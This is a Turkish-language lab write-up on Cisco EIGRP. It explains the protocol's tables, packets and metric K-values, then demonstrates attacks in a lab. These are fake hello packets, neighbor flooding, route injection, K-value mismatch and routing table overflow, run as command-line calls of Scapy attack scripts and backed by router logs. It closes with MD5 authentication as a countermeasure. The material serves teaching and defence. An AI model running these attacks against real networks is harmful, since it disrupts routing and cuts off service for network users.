🖥️16-EIGRP ATTACK
EIGRP Nedir ?
Geliştirilmiş İç Ağ Geçidi Yönlendirme Protokolü (EIGRP), bilgisayar ağlarında yönlendirme kararlarını ve yapılandırmayı otomatikleştirmek için kullanılan gelişmiş bir mesafe vektörü yönlendirme protokolüdür. Bu protokol, yalnızca Cisco yönlendiricilerinde kullanılmak üzere Cisco Systems tarafından özel olarak tasarlanmıştır.
Hemen hemen tüm yönlendiriciler, bir ağda iletilen trafiği yönlendiren kuralları içeren bir yönlendirme tablosu içerir. Eğer yönlendirici hedefe giden geçerli bir yol içermiyorsa, trafik atılır. EIGRP, yönlendiricilerin rota bilgilerini otomatik olarak paylaştığı dinamik bir yönlendirme protokolüdür. Bu, ağ yöneticisinin yönlendirme tablosundaki değişiklikleri manuel olarak yapılandırmak zorunda kalmamasını sağlayarak iş yükünü hafifletir.
EIGRP, yönlendirme tablosuna ek olarak bilgileri depolamak için aşağıdaki tabloları kullanır:
Neighbor Table : Komşu tablosu, bu yönlendiriciyle doğrudan fiziksel bağlantısı olan yönlendiricilerin IP adreslerinin kaydını tutar. Bu yönlendiriciye başka bir yönlendirici aracılığıyla dolaylı olarak bağlanan yönlendiriciler, komşu olarak kabul edilmezler ve bu nedenle bu tabloya kaydedilmezler.
Örneğin , iki yönlendirici birbirine doğrudan bağlıysa, her iki yönlendirici de her 5 saniyede bir birbirlerine 'Merhaba' paketleri gönderecektir. Bu paket alışverişi devam ettiği sürece bu iki yönlendirici birbirini canlı kabul eder.
Yönlendirici 5 saniye içerisinde merhaba paketini alamazsa bağlantının koptuğunu fark eder ve bu bilgiyi bağlı olan başka bir yönlendiriciye iletir. Bu şekilde tüm yönlendiriciler, ağdaki belirli bir yönlendiricinin bağlantı hatası konusunda güncellenir.
Topology Table : Topoloji tablosu, komşu yönlendirme tablolarından öğrendiği rotaları saklar. Yönlendirme tablosundan farklı olarak, topoloji tablosu tüm rotaları saklamaz; yalnızca EIGRP tarafından belirlenen rotaları saklar. Topoloji tablosu ayrıca listelenen EIGRP rotalarının her biri için ölçümleri, uygulanabilir ardılları ve ardılları da kaydeder. Topoloji tablosundaki rotalar "pasif" veya "aktif" olarak işaretlenir. "Pasif" olanlar, EIGRP'nin belirli bir rota için yolu belirlediğini ve işlemeyi tamamladığını gösterir. "Aktif" olanlar ise, EIGRP'nin hala belirli bir rota için en iyi yolu hesaplamaya çalıştığını gösterir. Topoloji tablosundaki rotalar, yönlendirme tablosuna eklenene kadar yönlendirici tarafından kullanılamazlar. Topoloji tablosu hiçbir zaman yönlendirici tarafından trafiği iletmek için kullanılmaz. Topoloji tablosundaki rotalar, etkin olmaları, uygulanabilir bir ardıl olmaları veya eşdeğer bir yoldan daha yüksek bir yönetim mesafesine sahip olmaları durumunda, yönlendirme tablosuna eklenmeyecektir.
Örneğin, üç yönlendirici birbirine doğrusal biçimde bağlıysa ve birinci yönlendirici üçüncü yönlendiriciye ulaşmak istiyorsa, üçüncü yönlendiriciden herhangi bir reklam almayacaktır. Aslında, ikinci yönlendiriciden bir reklam alacaktır.
Bunun nedeni, ikinci yönlendiricinin üçüncü yönlendiriciye ulaşmak için en iyi rotayı bilmesi ve birinci yönlendiricinin ikinci yönlendiriciye ulaşmak için en iyi rotayı bilmesidir. Tüm yönlendiriciler, yönlendiriciyi kendi yönlendirme tablosuna göre hesaplamak ve güncellemek için EIGRP ile bu şekilde yapılandırılır.
Topoloji tablosundaki bilgiler, yönlendiricinin yönlendirme tablosuna eklenebilir ve daha sonra trafiği iletmek için kullanılabilir. Ağ değişiklikleri olduğunda (örneğin, fiziksel bir bağlantının arızalanması veya kesilmesi), yol kullanılamaz hale gelir. EIGRP, bu değişiklikleri tespit etmek için tasarlanmıştır ve hedefe yeni bir yol bulmaya çalışacaktır. Artık mevcut olmayan eski yol, yönlendirme tablosundan kaldırılır.
Çoğu uzaklık vektörü yönlendirme protokolünden farklı olarak, EIGRP, bir değişiklik yapıldığında yönlendiricinin yönlendirme tablosundaki tüm verileri iletmek yerine, yalnızca son güncellemeden bu yana yapılan değişiklikleri iletir. EIGRP, yönlendirme tablosunu periyodik olarak göndermez; ancak yönlendirme tablosu verilerini yalnızca gerçek bir değişiklik meydana geldiğinde gönderir. Bu davranış, bağlantı durumu yönlendirme protokollerine daha uyumludur, bu nedenle EIGRP genellikle bir hibrit protokol olarak kabul edilir.
EIGRP genellikle hibrit bir protokol olarak kabul edilir çünkü bağlantı durumları değiştiğinde bağlantı durumu güncellemelerini de gönderir.
Özellikler
EIGRP Paket Türleri
EIGRP, mesajları iletmek ve oturumların yönetimine izin vermek için 5 paket kullanır. Bunlar:
MERHABA paketleri
SORGU paketleri
CEVAP paketleri
İSTEK paketleri
GÜNCELLEME paketleri

HELLO packets. Komşu keşif sürecini kolaylaştırmak için düzenli aralıklarla gönderilir. Bu aynı zamanda canlı tutan bir mesajdır. Bu Merhaba mesajları Multicast Adresi 224.0.0.10'a Multicast mesajları olarak gönderilir.
QUERY packets. Yönlendirici tarafından bir rotanın aktif durumda olduğunu duyurmak ve komşulardan alternatif yol bilgisi istemek için kullanılır.
REPLY packets. QUERY paketinin tamamı alındıktan sonra paketin alındığını onaylamak için gönderilir.
REQUEST packets. Bir veya daha fazla komşudan, QUERY paketlerine benzer şekilde ancak güvenilir olmayan şekilde gönderilen belirli bilgileri istemek için kullanılır; teslimat başarısız olursa bildirim yapılmaz.
UPDATE packets. Hedefler ve ulaşılabilirlikleri hakkında bilgi iletin.
Teknik Bilgiler
Yönlendirme protokollerinin detayları oldukça kapsamlıdır ve bu bölümü eklemek istedim. Çünkü, RIP gibi daha basit olanlarının aksine, örneğin RİP'in karmaşıklığı ve detayları daha fazladır.
K Değerleri ve Anlamları
Rotaları karşılaştırmak amacıyla bunlar, tek bir genel ölçüm oluşturmak üzere ağırlıklı bir formülde birleştirilir:

Rotayı bulmak için yukarıdaki formülü kullanmaktadır.
"K1: bandwitdh, K2: load, K3: delay, K4: reliabilty, K5: reliabilty" temisl etmektedir.
Varsayılan olarak, K1 ve K3 değerleri kullanılır. Bu değerlerin 1 olması, metrik hesaplamasına katıldıkları anlamını taşır.

EIGRP'deki metrik hesaplama, en iyi rotayı hesaplamak için kullanılan K değerlerini dikkate alır. Değer 0 ile 255 arasında olabilir ve her rota için maliyet hesaplamasında dikkate alınacak özelliklere bağımsız olarak ayarlanabilir. Bir özellik dikkate alınmıyorsa, ilgili K değeri sıfır olmalıdır, ancak dikkate alınıyorsa K değeri bir olmalıdır.
Örneğin, bant genişliğinin gecikmeye göre öncelikli olmasını istiyorsanız, K1'in K3'ten yüksek bir değere sahip olmasını sağlayabilirsiniz.
Rotanın EIGRP metrik hesaplama formülünü hesaplarken, varsayılan K değerleri göz önüne alındığında, K1 ve K3 her zaman 1 olmalı, K2, K4 ve K5 ise sıfır olmalıdır.
EIGRP formülü, IGRP metrik formülünden türetilir ve ardından hesaplama 24 bitlik değerlerin 32 bitlik hale dönüştürülmesi için 256 ile çarpılır. Bant genişliği, 10 Gbps'lik bir bağlantıya (10^7) atıfta bulunulan en yavaş bağlantıdır. Bağlantı hızı, arayüzde yapılandırılan bant genişliğinden alınır, gecikme değerleri ise yolun gecikmesinin mikrosaniye cinsinden toplam ölçüsüdür."
Sonuç olarak varsayılan K değerleri ortaya atıldığında aşağıdaki formül çıkmaktadır.

Aşağıdaki tablo, klasik metrik formülü için kullanabileceğimiz varsayılan EIGRP arayüz metriklerini göstermektedir:

EIGRP LAB

Kullanılan topoloji şu şekildedir ve önce hacklemeden önce nasıl çalıştığını anlamak için mantığıyla önce onu kavrayalım.
R1(config)#router eigrp 10
R1(config-router)#no auto-summary
R1(config-router)#eigrp router-id 1.1.1.1
R1(config-router)#network 1.1.1.0
R1(config-router)#network 192.168.1.0
R1(config-router)#network 192.168.2.0
R1(config-router)#network 192.168.3.0
---------------
R2(config)#router eigrp 10
R2(config-router)#no auto-summary
R2(config-router)#eigrp router-id 2.2.2.2
R2(config-router)#network 2.2.2.0
R2(config-router)#network 192.168.10.0
R2(config-router)#network 192.168.11.0
R2(config-router)#network 192.168.12.0
-------------
R3(config)#router eigrp 10
R3(config-router)#no auto-summary
R3(config-router)#eigrp router-id 3.3.3.3
R3(config-router)#network 1.1.1.0
R3(config-router)#network 2.2.2.0
R3(config-router)#network 192.168.20.0
R3(config-router)#network 192.168.21.0
R3(config-router)#network 192.168.22.0
-------------------------
// Bundan sonra ise sadece router'lar arasında haberleşme olsun diyerek uç cihazların bulunduğu interfaceleri pasif hale getirelim.
R1(config-router)#passive-interface ethernet 2/0
R1(config-router)#passive-interface ethernet 2/1
R1(config-router)#passive-interface ethernet 2/2
#
R2(config-router)#passive-interface ethernet 2/0
R2(config-router)#passive-interface ethernet 2/1
R2(config-router)#passive-interface ethernet 2/2
#
R3(config-router)#passive-interface ethernet 2/0
R3(config-router)#passive-interface ethernet 2/1
R3(config-router)#passive-interface ethernet 2/2
//Sırasıyla konşuluk oluşmuşursa şu mesajalrı router'da almanız gerekecek.
*Feb 17 13:19:23.411: %DUAL-5-NBRCHANGE: EIGRP-IPv4 10: Neighbor 1.1.1.2 (Serial1/0) is up: new adjacency
*Feb 17 13:19:23.423: %DUAL-5-NBRCHANGE: EIGRP-IPv4 10: Neighbor 2.2.2.2 (Serial1/0) is up: new adjacency
*Feb 17 13:19:23.415: %DUAL-5-NBRCHANGE: EIGRP-IPv4 10: Neighbor 1.1.1.1 (Serial1/0) is up: new adjacency
*Feb 17 13:19:23.435: %DUAL-5-NBRCHANGE: EIGRP-IPv4 10: Neighbor 2.2.2.1 (Serial1/1) is up: new adjacency

R1 yönlendiricisinde öğrenme işlemi tüm ağda tamamlanmış olup işaretli olan "D" EIGRP'yi ifade etmektedir.


Yukarıda öğrenilen IP adresleri ve bunlar verilmiştir. Şimdi daha detaylı bir inceleme yaparak devam edelim.
Detaylar

"D 2.2.2.0 [90/2681856] via 1.1.1.2, 00:24:25, Serial1/0": Bu satır, 2.2.2.0/30 ağının yönlendirme tablosunda EIGRP tarafından öğrenildiğini gösterir.
"D": Bu, yönlendirmenin EIGRP tarafından öğrenildiğini belirtir.
"2.2.2.0": EIGRP öğrenilen ağın ağ adresidir.
"[90/2681856]": Bu, EIGRP'nin yönlendirme metrik değerlerini gösterir. İlk sayı (90) bağlantı maliyetidir ve ikinci sayı (2681856) toplam maliyetidir.
"via 1.1.1.2": Bu, öğrenilen rotanın bir sonraki atlama IP adresidir. Yani, bu rotaya ulaşmak için 1.1.1.2'ye yönlendirilecektir.
"00:24:25": Bu, yönlendirmenin ne kadar süredir öğrenildiğini gösterir.
"Serial1/0": Bu, öğrenilen rotanın bağlı olduğu arayüzü gösterir.
Diğer satırlar da benzer şekilde EIGRP tarafından öğrenilmiş olan farklı ağları ve bu ağlara erişmek için kullanılan yönlendirmeleri gösterir.
R1#show ip protocols

1 => EIGRP yapılandırması ve AS numarası
2 => Metrik yani yol hesaplamasına dahil edilen "K" değerleri (daha önce açıklamasını yapmıştık.)
3 => Detaylarına baktığımız Router EIGRP yapılandırması için verdiğimiz, o yapılandırma için geçerli Router-id yani bir nevi kimlik gibi düşünebilir.
4 => Diğer router'larla paylaşılan LAN ağında bulunan IP adresleri kümesi
5 => Bağlı olduğu diğer router bacağının IP adresi ve bağlı kaldığı süre. AD değeri 90 olarak atanmış.
R1#show ip eigrp interfaces

Burada hangi arayüzlerin komşuluklara katıldığını kontrol etmek için bakılabilir. Peer değeri "1" ise komşuluk kurulmuş, "0" ise komşuluk kurulmamış anlamına gelir. Diğer detaylar CCIE seviyesinde incelenir.
R1#show ip eigrp neighbors

EIGRP AS numarası 10 olan ve burada AS numaralı EIGRP yapılandırması da olan bir komşunuzun hangi taraftan size bağlı olduğunu gösterir. Biz bir tane yapılandırdığımız için bir tane görünüyor. (İp adresi dahil gösteriyor.)
R1#show ip eigrp topology
P: Bu, belirli bir girişin pasif olduğunu gösterir. Pasif durumdaki girişler, güncel olmayan ve EIGRP'nin güncellemelerini kabul etmeyen girişlerdir.
A: Bu, belirli bir girişin aktif olduğunu gösterir. Aktif durumdaki girişler, güncel bilgileri almak için sorgulama (query) işlemlerini gerçekleştiren girişlerdir.
U: Bu, belirli bir girişin güncelleme (update) durumunda olduğunu gösterir. Bu durumdaki girişler, ağ topolojisinin değiştiğini algılamış ve bu değişiklikleri diğer cihazlara bildirmeye hazırlanırlar.
Q: Bu, belirli bir girişin sorgu (query) durumunda olduğunu gösterir. Sorgu durumunda olan girişler, ağ topolojisindeki değişiklikleri diğer cihazlardan öğrenmeye çalışırlar.
R: Bu, belirli bir girişin yanıt (reply) durumunda olduğunu gösterir. Yanıt durumunda olan girişler, sorgulamalara cevap verirler.
r: Bu, belirli bir girişin yanıt durumunun incelendiğini gösterir.

Yukarıdaki çıktı, her bir IP adresinin hangi yoldan gidileceğini gösteren bir çıktıdır. Şimdi birkaç örnek ile bunu açıklayalım.
Aşağıda, verilen örneklerle ilgili daha fazla açıklama:
A 1.1.1.0/24, 1 successors, FD is 2169856 via Connected, Serial0/1/0
"A" aktif bir girişi gösterir, yani bu giriş güncellemeleri bekliyor.
"1.1.1.0/24" hedef ağın IP adresi ve alt ağıdır.
"1 successors" bu ağ için bir halef (successor) olduğunu gösterir, yani en iyi yol bulunmuştur.
"FD is 2169856" en iyi yoldaki maliyeti (feasible distance) gösterir.
"via Connected, Serial0/1/0" bu yolun bağlantı noktasını gösterir.
P 192.168.20.0/24, 1 successors, FD is 2816 via Connected, GigabitEthernet0/0
"P" pasif bir girişi gösterir, yani bu giriş güncel ve geçerlidir.
"192.168.20.0/24" hedef ağın IP adresi ve alt ağıdır.
"1 successors" bu ağ için bir halef (successor) olduğunu gösterir, yani en iyi yol bulunmuştur.
"FD is 2816" en iyi yoldaki maliyeti (feasible distance) gösterir.
"via Connected, GigabitEthernet0/0" bu yolun bağlantı noktasını gösterir.
R1#show ip eigrp topology active
EIGRP-IPv4 Topology Table for AS(10)/ID(1.1.1.1)
//IPv4 için aktif olan EIGRP yapılandırması ve AS(10) olarak adlandırılan bir yapılandırma mevcut.
//Yan tarafta ise router için belirlenen ID değeri bulunmaktadır.
Bilgi alınacak bütün komutlara baktık ve bunlarla ilgili rota enjekte ederken vb. bazı önemli komutlar olduğu için detaylarını bilmek ve bunların ne olduğunu anlamak, ne için kullanıldığını bilmek önemlidir.
PAKET YAPISI

1 => IPv4 adresinde sürüm 4 kullanıldığını temsil eder.
2 => EIGRP'nin kullanılacağını temsil eder.
3 => Kaynak IP adresi ve hedef IP adresi (burada EIGRP, yayın olarak 224.0.0.10'u kullanır, bahsetmiştik.)

"Cisco EIGRP Version: 2": Bu satır, EIGRP'nin kullanılan sürümünün 2 olduğunu belirtir.
"Opcode: Hello (5)": Bu satır, paketin operasyon kodunun "Hello" olduğunu ve değerinin 5 olduğunu gösterir. EIGRP'de "Hello" mesajları, komşuluk ilişkilerini kurmak ve sürdürmek için kullanılır.
"Checksum: 0xeec8 [correct]": Bu satır, paketin kontrol toplamının doğru olduğunu gösterir. Kontrol toplamı, paketin bütünlüğünü doğrulamak için kullanılır.
"[Checksum Status: Good]": Bu satır, kontrol toplamının doğru olduğunu belirtir.
"Flags: 0x00000000": Bu satır, bayrakların durumunu gösterir. Burada tüm bayraklar kapalıdır.
"Conditional Receive: Not set", "Restart: Not set", "End Of Table: Not set": Bu satırlar, ilgili bayrakların değerlerinin belirli bir durumda olmadığını belirtir.
"Sequence: 0", "Acknowledge: 0": Bu satırlar, sıra numarası ve alındı numarasının değerlerini gösterir.
"Virtual Router ID: 0 (Address-Family)": Bu satır, sanal yönlendirici kimliğinin (VRID) 0 olduğunu ve bu paketin adres ailesi (Address-Family) ile ilgili olduğunu belirtir.
"Autonomous System: 10": Bu satır, EIGRP'nin otomatik sistem numarasının (AS) 10 olduğunu belirtir.
"Parameters":
"Type: Parameters (0x0001)": Bu satır, parametrelerin tipinin 0x0001 olduğunu gösterir.
"Length: 12": Bu satır, parametrelerin toplam uzunluğunun 12 olduğunu gösterir.
"K1: 1", "K2: 0", "K3: 1", "K4: 0", "K5: 0", "K6: 0": Bu satırlar, EIGRP'de kullanılan metrik hesaplama parametrelerinin değerlerini gösterir.
"Hold Time: 15": Bu satır, komşuluk ilişkilerini sürdürmek için kullanılan tutma süresinin 15 saniye olduğunu gösterir.
"Software Version":
"Type: Software Version (0x0004)": Bu satır, yazılım sürümünün tipinin 0x0004 olduğunu gösterir.
"Length: 8": Bu satır, yazılım sürümünün uzunluğunun 8 olduğunu gösterir.
"EIGRP Release: 11.00": Bu satır, EIGRP sürümünün 11.00 olduğunu gösterir.
"EIGRP TLV version: 2.00": Bu satır, EIGRP TLV sürümünün 2.00 olduğunu gösterir.

"Cisco EIGRP Version: 2": EIGRP'nin kullandığı sürümün 2 olduğunu belirtir.
"Opcode: Update (1)": Bu, paketin operasyon kodunun "Update" olduğunu ve değerinin 1 olduğunu gösterir. EIGRP'de "Update" mesajları, yönlendirme tablosundaki değişiklikleri güncellemek için kullanılır.
"Checksum: 0xfdf2 [correct]": Paketin kontrol toplamının doğru olduğunu belirtir.
"[Checksum Status: Good]": Kontrol toplamının doğru olduğunu belirtir.
"Flags: 0x00000001, Init": Bayrakların durumunu gösterir. Burada "Init" bayrağı ayarlanmıştır.
"Init: Set": "Init" bayrağının ayarlandığını gösterir.
"Conditional Receive: Not set", "Restart: Not set", "End Of Table: Not set": İlgili bayrakların değerlerinin belirli bir durumda olmadığını belirtir.
"Sequence: 1", "Acknowledge: 0": Sıra numarası ve alındı numarasının değerlerini gösterir.
"Virtual Router ID: 0 (Address-Family)": Bu paketin sanal yönlendirici kimliğinin (VRID) 0 olduğunu ve adres ailesi (Address-Family) ile ilişkilendirildiğini belirtir.
"Autonomous System: 10": EIGRP'nin otomatik sistem numarasının (AS) 10 olduğunu belirtir.
bayraklar (flags) kısmı, bir EIGRP paketinin belirli özelliklerini gösteren bir dizedir. Her bir bayrak, belirli bir özelliğin varlığını veya durumunu temsil eder. İşte bu çıktıdaki bayrakların detaylı açıklamaları:
"Init (Initialize)": Bu bayrak, "Init" (İnitialize) olarak adlandırılır ve EIGRP'nin başlatıldığını belirtir. Yani, bu bayrağın ayarlanmış olması, EIGRP'nin başlatma aşamasında olduğunu gösterir.
"Conditional Receive": Bu bayrak, "Conditional Receive" (Koşullu Alım) olarak adlandırılır ve belirli bir alım koşulunun mevcut olup olmadığını belirtir. Bu bayrağın burada ayarlanmamış olması, koşullu bir alımın söz konusu olmadığını gösterir.
"Restart": Bu bayrak, "Restart" (Yeniden Başlat) olarak adlandırılır ve EIGRP'nin yeniden başlatma durumunu belirtir. Bu bayrağın burada ayarlanmamış olması, EIGRP'nin yeniden başlatma modunda olmadığını gösterir.
"End Of Table": Bu bayrak, "End Of Table" (Tablo Sonu) olarak adlandırılır ve belirli bir tablonun sonunu belirtir. Bu bayrağın burada ayarlanmamış olması, tablonun sonunun henüz gelmediğini gösterir

"Peer Topology ID List":
"Type: TopologyID List (0x00f5)": Bu satır, "Peer Topology ID List" tipinde bir liste olduğunu belirtir.
"Length: 10": Listenin uzunluğunun 10 olduğunu gösterir.
"TID List Flags: 0x0000": TID List bayraklarının durumunu gösterir. Burada tüm bayraklar kapalıdır.
"TID List Size: 2": TID listesinin boyutunun 2 olduğunu belirtir.
"v 1 TIDs": Bir TID (Topology ID) listesinin olduğunu belirtir.
"TID List: 0": TID Listesinin birinci elemanının 0 olduğunu belirtir. Bu, belirli bir topoloji tanımlayıcıya işaret eder.
EIGRP hello paketleri, genellikle EIGRP'nin komşuluk ilişkilerini başlatmak ve sürdürmek için kullanılır. Standart bir EIGRP hello paketi genellikle 64 byte'tır, ancak Peer Topology ID List gibi ek bilgilerle birlikte paket boyutu artabilir. Peer Topology ID List, EIGRP'de mevcut olan farklı topoloji öbeklerinin bilgisini içeren bir yapıdır.
EIGRP'de Peer Topology ID List, diğer yönlendiricilerle paylaşılan topoloji bilgisini içeren bir liste olarak kullanılır. Bu, her bir komşu yönlendiricinin hangi topoloji öbeklerine sahip olduğunu belirtir. Topoloji öbekleri, farklı ağ segmentlerine veya farklı hedeflere yönelik ayrı ayrı hesaplanan rotaları temsil eder.
Peer Topology ID List, EIGRP paket yapısına eklenerek, yönlendiriciler arasında topoloji bilgilerinin alışverişi ve yönlendirme kararlarının daha etkili ve doğru bir şekilde yapılmasına olanak tanır. Ancak bu ek bilgi, paket boyutunu artırır ve normalde 64 byte olan hello paketlerinin boyutunu artırabilir.
Bu nedenle, Peer Topology ID List gibi ek bilgilerin eklenmesiyle EIGRP hello paketlerinin boyutunun artması doğaldır çünkü bu ek bilgiler, daha karmaşık ve detaylı bir bilgi alışverişine olanak tanır. Bu da yönlendirme sürecinin daha iyi optimize edilmesine ve daha iyi kararlar alınmasına yardımcı olabilir.
EIGRP ATTACK

Saldırı için kullanacağım topoloji, resimde görüldüğü gibidir.

Otonom numarası 10 ve kimlik doğrulama sisteminde kullanılmamış olması büyük bir güvenlik açığına yol açmaktadır.
EIGRP Fake Hello Message

Sahte bir tane paket yollayıp bakalım çalışıyormu onu kontrol edelim.

Görüldüğü gibi sistem çalışır ve paket gönderimi ibaşarılı görünüyor.
*Feb 18 17:38:50.947: %DUAL-6-NBRINFO: EIGRP-IPv4 10: Neighbor 1.1.1.8 (Ethernet2/0) is blocked: not on common subnet (192.168.1.1/24)
Router, attığınız EIGRP sahte mesajın 192.168.1.0/24 alt ağ maskesiyle uyumsuz olduğunu ve bu nedenle bloke edildiğini bildirmektedir
Şimdi 192.168.1.0/24 prefix'li IP adresinden geliyormuş gibi yapıp diğer ağdaki network bilgilerini alalım.

Loki'ye gelip arayüzü açarak, diğer ağın bilgilerini almak için bunu kullanacağım.

Gerekli değerleir girdikten sonra ise saldırımızı başlatalım.



Görüldüğü gibi adresleri çektik ve herhangi bir şifre vs bulunmamaktadır. Buna dikkat edelim, iletişim şifresiz işlemektedir.
Aynı şablon LOKİ_GTK arayüzünde de görülmektedir.

Şimdiye kadar IP adreslerini öğrendiğimize göre, bazı saldırı senaryolarını incelemeye geçebiliriz.
Fake EIGRP Neighbors DDOS
EIGRP paketlerini toplu olarak göndererek, sistemdeki RAM ve CPU'nun aşırı yüklenmesine neden olabiliriz. Şimdi bu durumu görmek için bir göz atalım.

Kullanacağımız araç Scapy ile yazılmıştır ve hemen saldırıya geçebiliriz.
python3 helloflooding.py --interface eth0 --as 10 --subnet 192.168.1.0/24
Burada --subnet belirtilirken, bizim bulunduğumuz Router bacağını temsil etmektedir.

Sistemde kullanılan kaynaklar artmaktadır ve görüldüğü gibi.
EIGRP ROTA Enjeksiyonu
Bu saldırının özü, yönlendirme tablosunu zehirleyecek basit bir yanlış rota enjeksiyonudur. Örneğin, 192.168.1.0/24 ağına giden trafik hiçbir yere gitmeyecek ve hizmet reddine neden olacaktır. Routeinject.py betiği, bunu gerçekleştirmek için kullanılan bir araç olacaktır.
python3 routeinject.py --interface eth0 --as 10 --src <attacker ip> --dst <hedef ağ> --prefix <cidr numarası>
saldıran sistemin arayüzü
EIGRP AS numarası
Saldırganın IP adresi
Trafiği engellenecvek hedef alt ağın IP adresi
Hedef alt ağ maskesi


Görüldüğü gibi sistem yollandı ve şimdi gelin çıktılara bakalım.

Görüldüğü gibi sistem rota bulamıyor ve istediğimiz rota saldırısı başarılı gibi görünüyor. Bunun doğruluğunu teyit edelim.




Çıktılara dikkatli bakarsak alışveriş başarılı olmuş görünüyor.
R1#
*Feb 18 22:11:09.210: EIGRP-IPv4(10): Processing incoming UPDATE packet
*Feb 18 22:11:09.210: EIGRP-IPv4(10): Ext 192.168.10.10/32 M 281600 - 10000 1000000000 SM 256 - 256 0
*Feb 18 22:11:09.214: EIGRP-IPv4(10): table(default): route installed for 192.168.10.10/32 (170/281600) origin(192.168.1.100)
*Feb 18 22:11:09.226: EIGRP-IPv4(10): table(default): 192.168.10.10/32 - do advertise out Ethernet2/0
*Feb 18 22:11:09.226: EIGRP-IPv4(10): table(default): 192.168.10.10/32 - do advertise out Serial1/0
*Feb 18 22:11:09.230: EIGRP-IPv4(10): table(default): 192.168.10.10/32 - do advertise out Ethernet2/0
*Feb 18 22:11:09.230: EIGRP-IPv4(10):
R1#table(default): Ext 192.168.10.10/32 metric 281600 - 10000 1000000000
*Feb 18 22:11:09.246: EIGRP-IPv4(10): table(default): 192.168.10.10/32 - do advertise out Serial1/0
*Feb 18 22:11:09.294: EIGRP-IPv4(10): Ext 192.168.10.10/32 M 72057594037927935 - 1544 281474976710655 SM 72057594037927935 - 4294901760 4294967295
// Buda Router'da oaln görüntüsü.

Çıktıya bakarsanız, diğer rotayı engellemiş ve bizim verdiğimiz rotayı almış gibi görünüyor, yani saldırı başarılı oldu. Tebrikler!.
*Feb 18 22:29:25.214: %DUAL-5-NBRCHANGE: EIGRP-IPv4 10: Neighbor 192.168.1.100 (Ethernet2/0) is down: holding time expired
R1#
*Feb 18 22:29:25.246: EIGRP-IPv4(10): table(default): 192.168.10.10/32 - do advertise out Serial1/0
*Feb 18 22:29:25.334: EIGRP-IPv4(10): Ext 192.168.10.10/32 M 72057594037927935 - 10000 281474976710655 SM 72057594037927935 - 4294901760 4294967295
// Komşuluğu sonlandırınca ise böyle bir mesaj vermesi gerekir.


Sistem tekrar eski haline gelmiş bulunmaktadır.
EIGRP K-Değerlerinin Kötüye Kullanılması
EIGRP komşuları oluşturmak için yönlendiriciler özel K değerlerini kullanır. Tüm EIGRP komşuları arasında bu değerlerin aynı olması gerekir. En az bir K değeri eşleşmezse, EIGRP alanı çökecek ve ilişkiler bozulacaktır. Bu saldırıyı gerçekleştirmek için Relationshipmare.py kullanacağız.

python3 relationshipnightmare.py --interface eth0 --as 10 --src 192.168.1.100
// src ==> Meşru yönlendiricinin IP Adresi
Belirtilen IP adına ve multicast EIGRP IP adresine K değerlerinin farklı olduğu bir enjeksiyon gönderilecektir.

Router'dan birkaç log dosyasını aldım ve Kali Linux'e kaydettim. Ardından istenilen mesajı aradım ve sizin şu mesajı almanız gerekecek.

Bu mesajı görmelisiniz, aksi takdirde saldırı başarısız olur.
Bu şekilde bir DoS saldırısı gerçekleştirilebilir. Operasyon sırasında, EIGRP yönlendirme alanının bir kısmını felç eden sürekli kesintiler ve komşuluk girişimleri meydana gelir. Bu durum, ağ trafiğinin kesilmesine ve ağ performansının ciddi şekilde etkilenmesine neden olabilir. Ayrıca, yönlendirme hizmetlerinin yanıt vermez hale gelmesi, ağın sağlamlığına ve erişilebilirliğine zarar verebilir.
EIGRP Yönlendirme Tablosu Taşması
Bu saldırının özü, yönlendirme tablosunu aşacak çok sayıda yanlış rotanın gönderilmesini teşvik etmektir. Bu, enjeksiyonlar çok büyük bir hızda gerçekleştiğinden, yönlendiricinin bilgi işlem kaynaklarını, yani CPU ve RAM'i tüketir. Bu saldırı routingtableoverflow.py betiğiyle uygulandı. Bu tür bir saldırı, yönlendirme altyapısını etkisiz hale getirebilir ve ağ hizmetlerinde ciddi kesintilere neden olabilir. Yönlendiricinin bellek ve işlem kapasitesini aşırı yükleyerek ağ trafiğinin akışını engelleyebilir ve ağ performansını düşürebilir. Bu nedenle, bu tür saldırılara karşı etkili önlemler almak ve ağ güvenliğini güçlendirmek önemlidir.

python3 routingtableoverflow.py --interface eth0 --as 10 --src 192.168.1.100
// --src ==> Saldırganın IP adresi


Daha sonra route tablosuna baktığımızda ise, görüldüğü gibi sisteme girmiş ve bir sürü yanlış rotanın eklenmiş olduğunu görebiliriz.


Wireshark çıktısına bakarsak ha bire update paketlerinin olduğunu görebiliriz.

Wireshark çıktısı.
Alınacak Önlemler
EIGRP MD5 CONF.
R1(config)#key chain EIGRP-KEY
R1(config-keychain)#key 1
R1(config-keychain-key)#key-string cisco123
//Bunları bütün router'ların hepsinde uyguladık.
ip authentication mode eigrp 10 md5
ip authentication key-chain eigrp 10 EIGRP-KEY
//Bunu ise bütün R1'in bacaklarının bağlı olduğu yere uyguladık.
*Feb 19 21:52:58.079: %DUAL-5-NBRCHANGE: EIGRP-IPv4 10: Neighbor 1.1.1.2 (Serial1/0) is down: authentication mode changed
//Bağlantı kesilme nedeni, kimlik doğrulama modunun değişmesidir.
*Feb 19 21:55:58.679: %DUAL-3-SIA: Route 192.168.10.0/24 stuck-in-active state in base 10. Cleaning up
// Bu ifade, belirtilen durumun temizlendiğini veya düzeltildiğini belirtir. Yani, EIGRP'nin bu ağ topolojisi hesaplamasındaki sıkışıklığın giderildiğini bildirir.
*Feb 19 21:55:58.679: %DUAL-5-NBRCHANGE: EIGRP-IPv4 10: Neighbor 192.168.1.100 (Ethernet2/0) is down: stuck in active
//192.168.1.100 IP adresine sahip bir komşunun (Ethernet2/0 arayüzü üzerinden) "stuck in active" durumunda olduğunu belirtir. Bu da EIGRP'de bir problem olduğunu ve komşunun aktif durumda sıkıştığını gösterir.
*Feb 19 21:54:58.411: %DUAL-5-NBRCHANGE: EIGRP-IPv4 10: Neighbor 2.2.2.2 (Serial1/0) is down: Interface PEER-TERMINATION received
//Bağlantının kesilme nedeni, "PEER-TERMINATION" olarak adlandırılan bir arayüz durumu mesajı alınmasıdır.
*Feb 19 21:53:16.155: %DUAL-5-NBRCHANGE: EIGRP-IPv4 10: Neighbor 1.1.1.1 (Serial1/0) is down: Auth failure
//kimlik doğrulama hatası nedeniyle bağlantısının kesildiğini belirtir.
*Feb 19 21:55:16.967: %DUAL-5-NBRCHANGE: EIGRP-IPv4 10: Neighbor 2.2.2.1 (Serial1/1) is up: new adjacency
// yeni komşuluk kurulduğunu gösterir.

Kali Linux tarafına gelen trafiğe bakıp gelen konuşmalarda artık içerik olarak ip adreslerin gelmediği ve buna karşın önlem alındığı görülmüştür.
İnterfacelerin Durumu
